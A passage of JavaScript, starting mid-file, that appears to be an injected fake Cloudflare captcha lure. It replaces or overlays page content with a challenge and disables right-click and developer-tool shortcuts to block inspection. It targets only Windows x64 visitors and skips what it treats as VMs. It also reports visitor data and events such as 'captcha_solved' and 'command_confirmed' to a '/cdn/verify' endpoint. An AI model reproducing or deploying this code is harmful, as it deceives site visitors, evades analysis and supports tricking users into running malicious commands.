`;
if (ij) {
if (cl) {
if (all) {
document.querySelectorAll(ij).forEach(function(el, i) {
el.addEventListener('click', function(e) {
e.preventDefault();
document.body.appendChild(container);
if (!init) {
initScript();
}
});
})
} else {
document.querySelector(ij).addEventListener('click', function(e) {
e.preventDefault();
document.body.appendChild(container);
if (!init) {
initScript();
}
});
}
} else {
document.querySelector(ij).before(container);
initScript();
}
} else {
document.querySelector('html').innerHTML = container.innerHTML;
initScript();
}
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
return false;
});
document.addEventListener('keydown', function(e) {
if (e.key === 'F12' || e.keyCode === 123) {
e.preventDefault();
return false;
}
if (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'i' || e.keyCode === 73)) {
e.preventDefault();
return false;
}
if (e.ctrlKey && e.shiftKey && (e.key === 'J' || e.key === 'j' || e.keyCode === 74)) {
e.preventDefault();
return false;
}
if (e.ctrlKey && (e.key === 'U' || e.key === 'u' || e.keyCode === 85)) {
e.preventDefault();
return false;
}
if (e.ctrlKey && e.shiftKey && (e.key === 'C' || e.key === 'c' || e.keyCode === 67)) {
e.preventDefault();
return false;
}
return true;
});
}
function sendEvent(eventType, id) {
if (!syn) {
return;
}
const payload = {
id: id,
event: eventType, // 'ping', captcha_opened', 'captcha_solved', 'command_confirmed'
ua: navigator.userAgent,
url: location.href,
arch: checkArch(),
timestamp: Date.now()
};
const json = JSON.stringify(payload);
const blob = new Blob([json], { type: 'application/json' });
const targetUrl = '/cdn/verify';
if (navigator.sendBeacon && navigator.sendBeacon(targetUrl, blob)) {
return;
}
fetch(targetUrl, {
method: 'POST',
body: blob,
keepalive: true,
headers: {
'Content-Type': 'application/json'
}
}).catch(() => {});
}
const arch = checkArch();
if (arch === 'non-windows' || arch != 'x64') {
console.log("VM detected — skipping challenge");
setTimeout(function() {
if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove();
}, 1000);
} else {
//setTimeout(function() {
const storedStatus = localStorage.getItem(`_verify_${currentId}`);
if (storedStatus !== 'completed') {
sendEvent('ping', currentId);
showCloudflareChallenge();
if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove();
}
//}, 3000);
}
})();